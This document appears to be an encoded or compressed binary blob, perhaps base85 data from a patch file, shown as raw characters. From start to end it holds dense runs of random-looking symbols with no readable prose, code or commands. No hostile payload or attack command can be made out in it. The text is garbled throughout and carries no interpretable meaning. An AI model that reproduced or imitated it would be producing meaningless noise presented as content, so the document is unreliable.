zy1IhA0_X5O%k#pS*2_(Fs69-@i^7@S_i2v2S1`3N3Fq!#WnL!34Tnj5S#g?qsR&b3 zI@7$gM_yx?BWj+~E*rwCf(fikk&@2&Tyu;Y|CtJlrgpThf`vTL&)qYJd}k zO2yi6yAAU7Ds?}6RX z=T`Y(rl?L?FO+gv8r<|1(|9j1-Cd@8t#it8N#lt5SAf$Rm5RF#lyT5JPluT=ojcDO zw-RQ9>Xde?Aa55;?1%PtX=@>AaMM>z^H+iC8t7c9nzhr{uRw3p`3jA<9b7kQedBfh z`}=CtzkbHN+VtxKzCw9p;HEJ0=IQd3d8T&PGTmOLJH>R@neGYG{ljoHe+eJqb9+=O zw)K|^CL_b;hAG5wrC=&CTpgGu4A&N>3&Zt+8N_g7V5TtKJeXw+w;pCY!|jJT#&G9g zt}@(Rm?sSP7Um1X#eE#$1fqJamt-*M7%n?Zeun!RrX0i7fN8*RtzbGZ+_x~_Gu#N6 z2@E$2W)Z{v2(y{t_QD)yxYIC~815F#Ukvv*%twZc`2@e`faG`cXOnvFx zb~UagOncQS?e<4rPnhS@x$~#VOZ+0hNsUUy)@~M5eenMW(yQbZ?k0*56|7 zVJdyaw64OKE(62SIw$~FTw2>YD9^~F5!7e8D5mSpbR(H=Cey8Cx*be+l<6)r-2;ZB z{risGE3vk0`!}96zQu9R0gVWz9dbPbuVJ=67Ny3tHGo9R|F-7cm(&U9B8 zj@H#fxR=t}*3~CQ9<9yu>BckN ze5PBcbINsg3=HrmxC3v*zB7GpKwCdc54O5Rh?7jWgQ0D6fVI# zF&5M7589ef8n1aN&2+VOPU#9Wn0OXa1J1DJfysve6n(@Z`z#DI<&MEyXhyHy9*HK#AdYP)r)AVmC!_ho% zf!iakZJv)X@@Pgb>YOs(c5wILs(lo5Xxkryq`^ac#dKXViRl*UoYKE)XlWz4PojUe z{gFu;**)WRQv}nMXS(`2r;LNX-x&oL>mToNM159_8>25RKOQ!StBKC#XJO?pdTBggx zbS0UtCeyWKy6#LjnCT`n-D0NO#B>Lk?kv;YX1bS5=jYJ3i~g^eolGF^A38_aZ*nQk%DZDP6uOm~*)ZZq9Wrt^!&Tz^cLmf`66C=Xm=X>HF(r5Sm2 z2CvO@t(mST(+y?1sZ6(&>9#Q4A*MUeba$BU71PD=wKBhC>a;DqHbVr!(BGcVtx;IQ0D>`reg)v5eenMTVo}@*dn%X>G^lJ4PNImvLh7)?Z?#%fxgMOjn-i>N8yw z)AeS$kxVy}=~gn`4yHTGbeEa#0n@!>x;QbJ>yPO&FU1(~P$k+$m{o1@ZxpVHtVzG8YGpjfp$lE^R^T<_&8SmwAU~hwYlUU@X#p8729fSKTCdK(4m5OQIAHlZR$#C94rQ)79 zl>I@+Z`|a8PAgO@ruiF$ZDU{(q_DeP=ukeGr)h-?!sB$~puZ2iI9;IAEWL2<-;YrG zR~_yaOzy9gc9r!^&zB9P!A)P$9Y>?Fr5)Vg(z^4a4qFwjz2`a838Y*5i(3x3GI66*!$D5|z2Qbg2v-R%-j9+n) z=Q^d`_~>5(nD9uYf0}lO!Hkp6%~KqmuVzSto4#VY-dMqO+nMecom0k}ALG3Qm!Om~ zUd83Z0Q;xcOB-gbf*1A z{d)%Umf@n63v}Y5QnBR)!z5$4uVAt>TtS$x8Lk3M4Tft3(~99b!FFdSyQbnZG(+O3a_ znJ~|#GyQ!PdR<$fa-cI0m5O`4tK@CMw%=jKR1wZ}J-G;OFHF;_iqni^BFs$bOyi)x zm%A7yaWy4R>0dVd9j}Toy=p2>)9y-`4br*oYTPcE0}OW(<~+mQfVszT&tcv%oL{X# zCmt#lcO1&RJi@jRm@m?q*1-q_l&Kx)oU9}A-0OQK?>_Q!)y4BnJ>lrQu6tdZ3wdo} zX4F@lW}ffEJd@5ejv?6a9;Saod;iM8-Gs^5SZP-o2mQOH-@#04Vs~|My?Ym?NOR%b z*S|_09Uq%v+O!bPbR0#(ErPivoqL=sdF0}@40I}>QZc#s7)Ljl{;h;F?Y9odxCv9K zwY`7z?<0~v->*mx(?vS>yrJaL^~NG;aMM?G@6$wL z%SN~t(z^Xq=8t~QI>|SIPIpu)CP)7+?QEFvwu)2wN9+7+m~zsY#!JuVHDHcQ=Z;tD zUnRItlo#dQZWoyEq%*Zkd4ph1s(G4rU%`CcPPA+5UpJUN95KZWb`?k8(_aJgQFWUB zW$zN`)+Qf6Qy&Q zRh_2Y)ZGJ}OsG^$^HLn!^1yVJ&a|#*US`6)m(J9`8gN;A;Czot#dVtgt%KPnovDA+ z?mn0_J(WCVztK2q!A$aSw5|@q1bu7IYXw&tW`*iB8hxH2$R7_J^nGlpvi(~aT!!3<%zaWK;uZUM{+hT90Uli?1+ zoM5;MFxMIGKFl-KDeHa&*6Dkgf#2EJb9uN;FdsY|t@~`f@i_!472EN-wS&VC0b$v}JFEVxQAccgP)S7`QI`9XnBbyO;* z@z%t)hA?ZSbDsw_dFNrSdE~u8L-)uH5$&2jAN(D!-?|UQ>z)z9g`*$3*Q;f)fOC(; z{un3RSO0UG{yi9v_f=4-n8v#X8$Q4+pJ?yjDP$C#gwF#e3un4M9SBzj=CE|`@uunD zTbM7>x&70)xKje1KvXKOQ`TP=%wIB?GSh^M538F$IV9o_WqGeI5W_>k4nWIho;>mvvA#nO2zG;(k>lG zSz!)IXUls7^I6T)v>RtOK8Hp1YBwp&X6f8^mHzpm<9A{1&k=d1?*UXqVD>Nl=Ffj2uIo^3c@?ql z)4+6CEF8T*ph7?p}`yys!ANoSfr%DV?MWRrK^R+zognev`u!!Iyfw}?E``(~xkZuYHs zeS}KI9fvZ1^uEesm}J|8vppXTfEgj3seknSmq{?iw~IW}JU4+`0~2?LaHjJ!{eAf| zFiUm{mk5v3?cZa#Kj$vIzl%!6biC0*uem$Wskuiucm6c%`8dp3=}hB2gSM{0tl4XC zcPw12pYZtyDizaurt6o>Fk^mJoTh)j!Tc_rsehFBC(QJHN}jR~==+Y>VDj!4&a__0 zwSn2=;lj|Nr!X-NiagWz&7#8%hZ%K9ahmbQKOE=;qf#-A_a3&TfQf!YIMY18g{uG) z`HOI-b^0PYK4*eia6-6HJkE4J?RFB^yQox5{VRxVLtu7E=gzY-UOF#6mWJ}E=-#)b z_uD_gCH+;jYx>-vJ09O2=9+YFyUIGC{gLQ2u3yfGJkx&LfxIa&m3|Y>bo`Ei8vzq^ z*6v>8d7&yysSCon$EDK0vdG&F6YZjKrt4jrzs%C$rmyJcuOqe;f?Fo7XWe(k`vPkehhF1eJTS}hNZdT*qTLhEfj&Qc~K|X2l5MS}FKTZEi!&R2n?VrZgg=xxgQ7~N@t}o1Bh8qhrmEq>Y zEN8e4FgqCT0L*cQI}dY>;qJjaWw>`_?uz|u+8=a&i6@QRz1r_pkxR;SS(vUc(^X`; zh73o?d3(6-(%R;wKO>LkWh~RpWx6#?w}`neGO|(f)l3_eNUV{&nv2)>Q!0 zrDnQZOc%*?)tRn2({*LKflN1%=@v5G28N?`un+F2w6=9{mXSxt`E90q$#i}XcC!S?9;PeFa5T>~;TlS7o9EVyJeud8OgEJ2rZU}9rrW}FhnVg>)7@dZS488myhX6GhJ<_Yt3{$nQkc4O=Y^JOt*#M=(s!tcT!s0ae0xEN5|zohNE`hzZ#2(I;L=EIo9C>IJZiTH(^X=+Moia%>H0C<7^a)UbU!lPZl*iIbXS?~ z5z~ESI9gZnpW*W|R4TT0l|mXH#1GSY&dzkjn63)bHDS6=O!qz0jbplbOt+Tl_A=cm zhNE?G9qz8Qwsr7~kw@p3FHGnE-241Td8wE#C)0h+bk&%y8Pj!Px&cf#f$0`7-Fl|` zndwe59Id}U;Obh(+X1k=@Ex)w~=jp+t4-6W=4#B>{( zZa>rg#&oxs?gi6Dd&yjXOqYh~ax+~CrmMkpEtsww(+y%cI&VyZnr zOm|S{l-CP!(V=s2*Zvl3f%>caUfN>ZpY2tk^D8P9)92?uV_Uq}_`L*Fn;VUdG2h_# z98jsa-vdzkN8gX#57Y3i-3^8t3zO)b-O=x_M#9YTaFllnrrLWYPk9|h^EC)&lyvU? zRmPDT8>YZ){vh&9^E?T8(LdsIaa1bqJZsuL19MqAQ@g8>aT{jLCy{6R9$5l>KkPS{ z>tBRRipS~J0ez3+mJ{TZj~0Ym=HG*?gl%16cB@V^jz3`@NoN`d{odGXn9_bqyPCX? zFg>Mn^EB=UnBfdJ5oV_9l>JM8Cu=cG(&$S66gLj8B+O|KM|p2yy2P;O6@Z%obIQZD zhkFgvET%p02e=V1F=N>s{X1vbVMcj4`n{r!Ffn4=^XT7|&IYqmb(;Nl2IjJKru|Fj z$=lN4rmy&34=VeEzMu0F?)y0Q{?Ry=!MyWuG%u;+208svskqNK`n&|h^IKs zcq3pUr8A9}&LJtcz~gk|rFMT$73ADPrDAHg6Sh5qsh?Un)BbG*HyY-NhokvRl_tm;iAu#C zhcYj;KQ>6?gZQD_9~E%_KDfAPl{{sg(s?5{OcxJFc{5;cdbmiqIO%YmgG$96hth6c zZ0ibhM0Lt|X@5M0c_W>>KNLsv;-nXC(oHJ5dFh7x1K9Z_H+@C7KWbu2XSjW8p3-h4+yj_QS(J7aN59uw9p)$L+<8`9 zT1>=qn4oMTFD@QuIv;d|=_#E%f12_BAPu5?#W!A!8_#s}bxs)v9lz_~9!u-4KTW$K z*~M68_l(cK>6tE{&MEyXi^fXBjh5EdzfHP4%{UG)-C3Pe`j;6y^fp}loMLX=-*?fp zJ5Cy}`J2adYZ;Et2YcZTOY5#bWgK)KIt>$+OF2F?<0vkTZ5-5YRk*s+y6tN6nltj~ ze9)EQsNI2ZBR$$BHyLI&!!3nbB{%K-DS72la0y z%m(S)aVU8`;C8`e&#Sbn$*Tj?L^?N5VYogpgBWfM%oK*32eXXf*28RPxcxB4 z815X*Rff9@^Mv8v!hB)4xcP#dKvXKW{gDhNork0IP4~UG+p`3Tgy<|GS2(hNT@`9KyEz{*; zx{^#+li_HcwuEaht?j(glaWXBJe1+6-KlVMJ=!I=9A=&Bl=B9?zT5$mp^(^jrq?r+ zR~4qNbf)o=YYr2|aNS}0GTcy@u?#mIWA5+)0@840i+O9>YC{d8ayM zztP_{@hcqUBtWG?`@?s>Z{4Qlw{6qY+xxx}0~^9%k`@t;-Up5h2q>9D$;*uU>q;XY zsn1J~_ZiS22U!_!uAZH;e z6;s}2lPFn6RgjkhcE-oZpw6nS*~>GJ4(fE_T0rNhIt`y&z?PQ&VG6gg=RHSWRhZ&!?Rmk-I}USQIy_8! zye-6r`!FNgi9FNsOL>=I9!h7*tB(z@U@CX8=jBA+T$mHmnf3>rpZ|cF(@Eqdz~glL zBOmS$?i}QlL#1NMqtEFY!KCWyoi_vKgmk97ebhgg1>Nm=G~VzYK~7mzul_ZJN%^fk zkM_rOm{roD8`}L_85=gkeCZ|fO#2sKyK$<0Ck*wEithP5Ir3`4b?z;!>3l_btEKUU zS@PDx9qVJyOM=J8?CagX{^(yyxY_-@^Datb>t9dgJ%elYy?5RMX}t1wz-1d?&r64p zC~0hYbo`Ei%R0!OM_b!UW6LXwygqPS2ix;#{k@RJmX{uRF^1rJW2il^DMDJq9FWd* zywUmeBDvur&vZRR*MAvC;QAhw3Ld6i&r`8sC`{r}_Pnlme1Dk7(wX|Vls1eGa+Z!2 zd8X&fGGHCY1vwj0shINip?`;AhE1^dkKSkf3#RErd)`Vk)Ey@26z~4shRHb9o=5#F z0`qa2y?>L?zh={eoad-iOyiA#6Gx00K~9|6!kMn`mmuRE%$zy)yrIZj50iI+aCBX( zd;XxjN(+OWr>Im+{dkk`O5sfFnXcmo z!%UXWlt;(gT$p{U?0J)smwq*_i&3f2d0cnC--GeKgju&vxU_J(@lu}Oh9GAuDiu@S z4&=DlW99y}5o`?(UUtyZ=7mi-1 z>BdWWPY>XF_nLxUd0nKj z<&8vMZ*uqSdGvWgYiVqG5yCc>&040@vw@J&)dhSS5`u?bshINCU_%|4Xnw-k@-o9TkVX31)zFro7Tv&!b>YB@%h2 z^9!w)xcad2y3s{!nf6NAHi9gBg(Ao=01EOXCZ~58d@uYjpfqxI8IEp6U3dtqrBI zp+cmkk>pz=UM6=T$;pYnb)Y(Yn&Dzeud-OEBTtMIJpX>7I|0;{FpbccnA+?-SfJ zm`6G6{iE|$k(|L!7gQ>yyvEqj2j)U9;Y`N|<^2PbJGVWLj<+H(3-Wm9{Q~n*I$Qr@ z=EeTa=bbkSX0LRnyxQ3C3rw;CBF}Vu(0J>?jFHZiNAoug=0!n!|B50nNkp(y2bGE` z?;18VgDFy2IMaHj{*8h8Svpf59UsSFUKFwSkG`j$q-d~H50#23Zyz?afJsx_-oJFn z=ms-YI#XUgY?u#o_G^1yVdSNa40al$QZePx_1ZTuK_!K=?cb^}gQYX&mBxm#FlS1M zJlpZ{4klY^d;iiSuK-NLGWI8!hZv)JZO2V1WfAqd@$I8LZXjCeuywun*6=q8n z;Y|CtEHa+M6sT&?dw~8$!epu;TnHYgJ3rI&+jD7f(^qu+;|#VWs2S{BL#1L`FLZy5 zTEh4se(3VH;Qlypd!)7H-C^cEfSX&}yMKqI@#^1Exc+s#^Oj2EmA4YEab54cq0-p$ z4q@X+xXSgs^Lk2S%iD*Iz2PG2d*?Nm#+J7S8(YJrZs46)UK(2-jkhvfKtu1m2x+|X zijr&OotH@(ue@w<&l!1%8;dr*@{+^dl-729#A)K4Hy4d1fLkf8DUaUgKEuen26q!~ zPgDE+(fR(4G`Q(2y7K|OU-ugBR5N=XJzu_t$=O^ue5|8Azfk|Gz+`S=&!gXmtpT$_ zI#b>&xWh0zTiWx|!`+ewH+@An-tsu#$7~hsRB0{pOxHtMkT6dg8K)iZO>F!HZbch= z|LA$(v^2K7^Vs+&-1cwmc}3v==JY= zn1Yjpqvw6y^HDbJ-)1mlrU++xJwu=WemynVDUV9UG=KDdT}_zI)9n4D^ZidS@1--X zXWGBv({WtR@Xp%|^He%h9=%_ZU}mt>e3p0K2AD_EneyoQJnn3~pFPJrZxPHj=}dXl zzYj1~=ZQSi`=>O2n_!+uXUe1g#h)MS)LLNg-xTC6fhn+1IMerEJ|Qm(ruAasOy7^7 z{>4}l?0k(%#n!(jFw2$-XSyC5ij3DVeU=GlTF;l!zeO;8RtRT$y-({r=1LrIs8sMU z?eRey(!iuyC7kK?IgPgo%uMNQvJi6XE40G#{cV3Fa z!OmBxRBU-UVJaQ*&Km(UK{{LBESRmoc;~%9Oqga2(yz?r-)RNAWN5^jy zm`=y-dGz~7t6(Bd2#3o??fHOSA615_eo8pg^+7f~{<$=`=_|VPUv1vspFxTz~mlkd7`Zoo6x$fb-c3(Jp zKGCh0qsR+>5bRuiEL?g^Ua6y|!Fb6&hXWAe6@%Rj1a2CCX z=M_vD;*3Z28t*o8slD@Vz~oQko!0~=e>(5HVKCREvyC@KdbqE=^Ri_KafYDU#yb%6 z_ajW!Ox}6@V9rWs>L0!T_W|aIEZ%v)!hDt0-oO6Hs{(T@n|EH4>>*B9RNHvFB5x*4 zoSfcy^Bedi@GXQeY;Z-gN49?XY4BG2^vLFfAdc|)9WsJ8J^ z|F**9&hOp7K`IiE(|508eX>56Mkk<^ZZC&rYCDM51t$Bj9Q`wCB;^ADSqQEiV)D=D{6qgNj&EIcu|8%nFrGqQfImBt)ML7C= zR5#ubEYxi<$9oEw0ZunwTF+&B31jOY?T<=u{l2sJkG|iu9VTIK;qWkR|2|a9(FY-+1`+dl}1GDsd;oQFms=Pmx3k%^POwz%^ncgq? z3+?_iB*a-UOgQ?yMz=q%VWRsC$NL9kh06t}+aL74W&ZIYP8n1xrtwzChH5YiCJ1M` zzM|{DXE4bp+Vh?xF9S^2WZ_JoU#3LfVwio>nfgc9L&srKPPO-s#@iX@2kA_CG~SUg zm#5kDXuO%GW1dl|nDS`6&0wm{w2zmLkE<{@r8DJ?#fFD4y=IF%)AKpa-xZj5(wXvT z{`}^IICbaR$NL+uOP0fYw?H`4_1Yb57z5K~v2dp2Z7KSfZb^vq3n~>;UIgAxyb2S% zLO9d)8s%kO8RDEq^~(DbCfOQ$-fo2CU5ocsP^p;auQdAi4yNcv;b`7<$J-j*AGImO z3E6DVyNroQ3G-&FaHh`#=zR5In=rWPE4uSRe{?)_dx$e>hp?vgLjQivYnY&&!kP9* zYvg5s8NEw5)A_Fx^89vV9iUP%eZEiU=W#Hj_6kQob@SH-_t*F-#My>Q#niui*l--? z^FHBB=NI~WJfrtx9UKsjt~+(}N7v)^U?vHj(I_)Lf0R<{)M2S3@31%^Q&;F;dK4$ zjr;qa4sl+hQZen1#@G<+4ElFgxWur!Jo-LJ&2z#~9u-~xiqd+4J9b`Jns;4Z3EUs^ zLWolqm5OQp=n!mqGdEv1`og;CCGv#$e-r~5SPND#NUP{dK_@Gc{O^7{j z2l7UShB}eS?RkyRzkMk~on)znqw59Tc%Nf`RDmg$Ubysz@is%=vadp&7#Zz(^!L6B zz@*J;&r6NG(b+@}tlcS7qrsIwB z8kP-pij=eG(ccei1(U3jcV4;5p-!eM_B`reb(k16yz_F^40Qr)dFK^^c~aLqFG>AS z=L0Gg)BMr-C2fOHXH#Q)9{oEFH=2YxyPMkct|9MFn4eqP^JsrOY8C37Y;DimfV@{Q zOQY<0^N@F@U8vKky>M8L+V%Gw8wSC2>m(eVhjiyFx~{3xSs2{(72WYc*9VQ@R&*8C z^!!G7<+^$2(ers7xQ#vRdHLaL^bB=|_Yw~Os~s<$?`OmG`d+xwaJuof#{rviV5l>4 zkUj4VPKuJ4P% zh0YL`p1pMArM&CXh&28DEyOq;!HtQA0W8s?rDDr6Db?b%t_gET{re7~pk(XpmsIzvhy?^xk zje+YJwpKnyybN@AxL~yspT*3Rh{Hu%_#0`n;#ecJDm89v=et-ELt`?;q4h z-h@4&&V5uWm?rJ{>L&7D!2Gt)o=4Xqf9?0~-%6~%XK*tP32R!Zy!%J*M@)r#cV1Z2@kYl@;|tz-^^w;e?!ZOwybPDT^XU6<`QQd#5!SSx zY5uxi_0C(0`5OfH)eT`y=c^eQ#}k;LH-)3|>-I-;te1dWp-$I(!sUR|trvQH(FflB zqxTal!p;9nSkwNfhCIKA-g%9YR|9VCBVp;d()F(x?*B^~-1HUQc&{NZ!{boL@2SY6 zaq04|V4larM7)}tRx*uIhV(h58@z%xt1EPmH7f`8Snza3!i@ZNz`o$8?wEi07 z@ugyiISWv!nDS;KZxu|5c=o(u$cP(1%o&eL1rO8qkN!T$Vwlm1grlFj@zVX@_zQ!Z zzM|W|^!ZzVxGe#~n${m}eJ+iR)Ao<@Vg-gd#e?j5r{Vg-R0#P$r|Vx&?D%0Y?~@3Z z2aW5-`vQ4Sl7%@pQV3^SFXb`7fRtfQ{q(|RGvv|xVF4M!oHQBj{iF8}n!r@ZDqLDa z9`$=(HeqnnS9Ifjg?3NF9n2xD>G-AdY_*);dHs>s7Vghn!kRwcYKpwPxx<`Es8sMU z?fy-S^*0A*b6(+0&*z)*__q1NoTT~fc~g;>9%e^D;Y{ZPIt$c~2y;52Qo+Nt{Tqmm z4}ytSSUA)9nbvt5X(*41Zhz44YjlA7u87Dp9UpWZvKi*Obf)>E=imDW_&S2NSo7aHiw8E1KP3HO$FfO*qr}fPVj@ z6-=&d|ETnXY$pVZj}T`OsK6 zT4%cRALY$&8s-Evx984O~(sE>xGK${IUZJsWn{kNy3`W zrw_4z&%o@OV(;H8T1ZpFoL6&%tBwEFt(T|BE4m=e$+F0v7l0>>t}p{v30K#UN59W> zZB3X{WUX+fO=S=11OrnB*IT!^5=mN5@+Rm^T}RGo7!};qeVOg*o4& zQZePx_ajEYT-t2UtAdOoTf*?~T-ftwB5yKGmTkhB&i8$hw-_e*cHvC(cMThI!6euv zoayyG<)z;p=FCT>V#=fMGi-vH{*yg#EHc*p9Oe|>XU~g)>!GSJH4h4B`aFRC{>Bf7 z!kiVTR80G0B{pn?X>de1)Ba75jJ+_oq%-9W#D+&O9gf=b=y~8Y%pcO3^62{DFPPWI zL>?XYy5o(W&vG9Z1~+|0cRomsyrOW8PY7$eUfY3$H88DD3TJx$xQzX=8fNer;WFWI zy8cl+L1%HjhDyaWUg}?Zn9}EjGmV#C?+=v57lzt3SlMGN<}X?p*~_x`D$Frs(*{XyreB+an$iEGcJ{d7SZTONHM_!(Sy ze356`A9TKID~&CW#yb(NenNZyX#UPfW6PuO!}%o&cgFjRJk$Q5_4iU5TV4qA{(%b& zw2zlwceaqmmPgN*UEqEWviGkgT)N4Y_%pXs_VV|wqrj>zi=cmFGUUNpFL8N!|P8HF?L4|>0( zE=p2I^>`38E`}YalXP8GNg)@DhD+2FF3@R1w>?|jo z>G_xPR+SHTrdPD*6-8dQO5sjaHSfIo)x(`KHSKxSzpF68^}O?<*AI7|H?ZgBL*DR) z;m)q6-g&E=g*!7^c;{tr8Sb?B#yhV@TbvKtdFP#niPPDhw+-v%9n88e!kNxj@34?= z!d&id&ufDHd$b3R^KXSSU60fE9Xr7M(%YW52zlH4;5wq8J&(RGH6Nz#0DE2`jHB$p zaA&|^;plv$J0GORL}VTk?o=2lTqZc(`I(;IejglB1!@Fj13* zGo7!_BQMvKa3{u8d;g+vyd{PiI8!*&`<-;YkC-hCZu*LDf2_fHOTj&xBdqCqd46|;5aHjFn>yKUwz56#1{aXT;Zn3bY^K*XWjgW@=M@2W@=E&Ov zmwc(nGp)ZYczj2g>C)k0+PtpVun;C-xyUoE7iwoN%u?x0d6ltY9n6OnBG2@ENqGfU z;{1n7#gvx~8_L7baH6=c_;LdFhe&4b132z4LC|33oQ% zwdYa)uEKo$%R8^yBfMUHY|l%Myvi_9&%N{Zya;zDz4Xr833K6%cV6aq;m&7ND(HrG ze^CE2yvOV5f9!d*E~kGMhVrQBj*p_ao}3GJIU2o^!S7z7>h|wrtg9`4iJgTpgfqRL z^8n|A4=}gm2^VR|qu&>5nJ}?a+g~`-_0>|0cQ{Oz5aH-J(Dknq@|K4tc7nr&O97`F z?+)bUPn_6!l3X}?9jVKs^Tg|v!r-Q_=dLPwGfns#NM*Of4 zT*2LXAFZ>siqZM#`RMjAcM;fC`ndg#zW=gfbUtd|TyQUU)3=YteXC-0KAIo9!F}0X z@1uJDOEEehwXa1u<{N@8ZoZAe&+h3VnPw1Q?A1#-@|OuNp_gR2&!_3XPj-zk`=a5y z8{E`;^zC~MzV%=NdrOYn&lB;3d%>)TlpMD{6Zdjock%swlH=CXOmNOoSYP@{j{AJ; zX|yk=zhv;o=F49G>e1i7!TtJxWV!PT)yqo*%syKG=7IZSpk%pvw!(K?jM-NOUsrIq zJ*aQre)yItrn$5DVz0l|*gwV$b{Bo)q>tN==-*S_{)oG{G*oij`8f>(l`za*RE>~a zB<^c(KN^bfyNq%dPax<*Gwim{it&9N%(^j><9@$s7uxsW6YipAg5>Z&?fN!jg0%&+ zYrN#5z}agb{eDD;iITw|n=gC$v*5fj9^C7bCCj}ZUjoC5DefZVS$+Ffqrbht9G@mR zuAbMSgD0n(+t+~p&UxNlyzsJQ`=K57`r8}6)3b2icvas%`u7w%gL!(6zJ2t0?d(j~{O z2d}~xGT&XSMbL$2*sZ@*_&x;_k|8;6eWu^*I}PUI+mhqXrve=uywF_?UMjh0+}Gat z`k_IGmSJ6cPw%7oJ8-$X*q19gI!D>_{f6&P`p{iGx=M1~`b_83H^AJNCpm6?c^$qT zA7dR_Cpnav-TXx(FQdRL&zBsRzn19lkWbvj&<&E~))#u8{W6&EK9w9df4ieSzkMbd z{IU76w;p8Tz8;(0#mAc^%hlf=7_Nf(e2e7pn!s*<3(#NBt?uGrq2##tlPmG}7jH*h zeJ(kgNA}v62;W372Z|)e<&VbWl`n8EM$pCOF9tsUFWtqYV!f{f4zFGA;uL}|uD{9f z_22C-HkC+@TkqrG7`8_;%|d*!*I#-cu@c;ki2aa{W>xY1ECmkvuGmp|IS z7k@1o{IU76m%kL;=zVZ)%Op$VW-ou_dqFYMX1~9Q@TG#Q`bO_-{=K`S=JwJ1uyNoP zA2a*@RE(~D4ND&bo^&2vhqGfcfYry^qdu9_QReF9cm^hTZXq!w>EU^VZLj zvzdn@%QYl2M^%; zE9)@N5p;3BT=e%knD;J8j;lXkIPSQN_dW=^@Yn3-kKVuZ1@m#e430?IqU}?XWlBj^q1pcJL5mI!cb~ZyqM% zbTD^%O3sh*(fT~m%R_8M(8cwaCU!BH;x3Zo&d+1usPOR+T`hWFH5%RrOecTIale0` z1m8fbhggrGi)&vId|SXw36dPwzV&d-3zkf?5MS)oGyT3maEOPfyj!wdy?lYczd8)# z(N%KX_|osUF9S2Zhvc|=nFrsmJw3#;z4SgBk9A^|Unb(< zc^%9X4@fQ=?XXvWYw-Oa2YQIq7|GFj)n5MM(Z0Q4?uwNhH@@}w`~4pB5ZxY@9IfN_ zd`lY;##`pw{?+g#IJ4JH%pLTs= zSYJxPG`u1?Zhg6izh67sL!3>O9JjxPp?!DG@eudVlUz8{zCHMU=QljW83bKi{vwcw zKfwepkX$HOd-+Sp_rK2Y5JTV6`=;SWF^tbp%)CdO@%-be5MvcVK)NsgPp z{oo6K*F!vqpo{Bo2?pwQFaxqB=L*(df9K=-=fF%_CONKNGI68%VD8M39M@le_(I;7 z4F1@B*_&_0XkQ#S=arJ>_VXYZ(iEd~cI$65eCxrD`atiqKypkmI^SgYE`uAjO8U6- z0r_?+M(3mR4se6l>wTE!VxwYoKKi_I6S$V2===LAB*Tf>@PC}W`g22}$Ad}wRC3&TmweHm zd5DV$y14y=e!uVd>-EhmmiI zVst)wkG>4t$4B(O!;thS^AOh&baCe)`u9sleB&Xa$|XlnK=$TuD!w1~t%t}*(8cYS z^zTRf2ati)_TBT&jN0+_v$b;`! zaEne!mex6Y{T+|*zf)!Q(SMJ41>D%PlI8M8&(lMy%|3db-VM(0XUTH;8wTz-Fn!NU z&H}%^{?hx1S1x#n4!=r{Tc7*m?@v?={@8rk^A*6C2QL11>Ergxi&#)g!ECRWTqKP4 zeEZRlU;gwEpIp`ZXxx4Ol8kJfeIGqf_X4-+n%?&uBteZHVi|%iuKps>zExn3UzZ$L zfAMfExZxpAB6Pl7_Tj^%sH$&AaI#HV7i*?@`#xA3gt`2lKX*DjzN1Kb@vn-5OhIrw|(?} zvJgzMr{uWvE{#)ym#0Wa(8c-k@Pox*dUlo^w|~%h?p92*5MS)oiz|G4z>(NavH7y+ zqxSiLo77X^KAJa2z+6=v{+iwPCE^D+!8{cqecb$|&j(K`rnzy9kJ?uYF1)w7ec51k zD^AzGQZT`h`u0&huU3q%ea^ViT5uctN*`Cx`$>-5&*}GJ%fVb!95+8`JX-Yk6c0s9A2&bJ;rkR!j|cSaqxV<$fms+M zISc+CSIum| z?s3U+`}uY_{vGKlwvCb;)wjLzNXHMp1@rh=$yveK>+k3I{;mYc;E&ChJzoa;JL5@D zabuihx%n0cL!YNS#Ty8^xcpHf7J*sxwB)$+75N?*4-TR8Il;Fa%*rIakA9zF*hI-R z3-QHXf2+{&H^GgcBw23%CEq2*=zP`i1x)r7t)A8UrbF@$n12<=<pay{xI8C) z-1EmM2%5kQPnI0EZM*$Vz<|yMbMj@$(R)67^|A%uANYzV-m~g`)ff-&S3N~js^qxy z)o%FQ=6Z_n5Oi_#V-|jJ9?ZCTlH=Z&dHACPzu%#d!+q_|U;6hqzR8yi{@8rk^A%FVKk*cW8zf70Vb4c( z9=6f!ON1{1Ty}wEx$&Uq$wtNCkIk38_K~l}r#QENruWf(4k$+H?2bnjes~Pr#!b@4 z)pJ{L7ZhXiHGnJMtoPCTG?y)s(fM4^-#fu|-YQvceIeg;#h83Af}6Wd@1xH@k1EFG zI|1&eLcNd1x5svKf9X7aFSv(4*ZZh0S13l;J{sS3;9lP$ecbpC!F_jwx$O(d(YelE z{Y}RF{RGUNyCg^FT6^<@_Nnc=J;f0OUC`V0Q9Yjkb5DunxcO$m-~SZMH;UtY(fGkh zFrD^FA2;9P;hPQSh~g+O_WDcj|8Cuf{cXSW{deBA`TrRW12_DDr+Dq4f1-YkHPFw9Cu!`!uKnfw#UuB7r-o19OsLK zZ#$Ta6=vU~Cp^V;1YJ7cGBDqKZ}#;#=_wvT=zIe0dkM@-m1f@$V6G~TYag9oI{$#@ z0HCRu7G5g*Jvt4nVkM^U} zU@o3F`yRc3@kQwJN9)xxFxzX*K966~4}{Ja4BwMr=Kp5){R*bl?|Pp%d|kmjRA=^m z3g)olxct$0`~l{+OJ?76FmEZ2^U-*00kh|_*%wfcbr+$_AFT&dz|8r>?E4AKKZ@hp zNBs@>6Q5UHG5bCOvrBQDkJ|SOn7Y~;TA8^1EKT9z&8fW2QAIM z7EWHGGeYO1{0#y#r_Xs3?@AMLHBIx3tKj`;M_JSGdCOPhXC)M+V9lXSN1YKNzX?))Xv$vzZedG)5 zwVPUf58m#kesf+3&41JOHS9{Hl4jh5JJ~J>hCZx3%cmrNB#XB z%&k6pADv&igBfNq`?i5OrZ{dq=<~d5U~c-FeG~k=#A^s$f9ZK^J(%PEW?vtxml%%F z`KZ6M!K@50`)-2q3N-r$f|(Fx_8kKAv*Nh?MWB6cg1tol5VLPBn6DJa`KVqlfbqH8 z?0W;uD#dX=8s9@;j)j?hy}F{V5W4Yjhi@jBCEd)vD`47n*Zb(a(Fe?saI{-~bc0JHWUv+vg4Ucw(?@(lqq zwU60%49xF}$N6YHHi9`8W%l*D zAN7pT<&WxbCYXi&%)ZND+VnU3dVv`nZT4*hb4YQz{$2*tet_9G6UD}6sPl@1k-Mq**62s62<9!JHT9yH~WS^iaaB9 z<4gO|axkkNGy7T&$3BSA`JCVz3}(m(vu_iaBZ}ktOZ)j1FhL{DzJ*}cD~|Kg`gaV> zjM?Y)gqP@p(D`V;d{FgFy(^>+k({s~@U=96aM zDKOU*$N6Zz@)_qPdOcg5`kPS2Qqv%xG^9Ot9wt*^jbo@Dk7pN#w=bp560h2>!OO)>j| 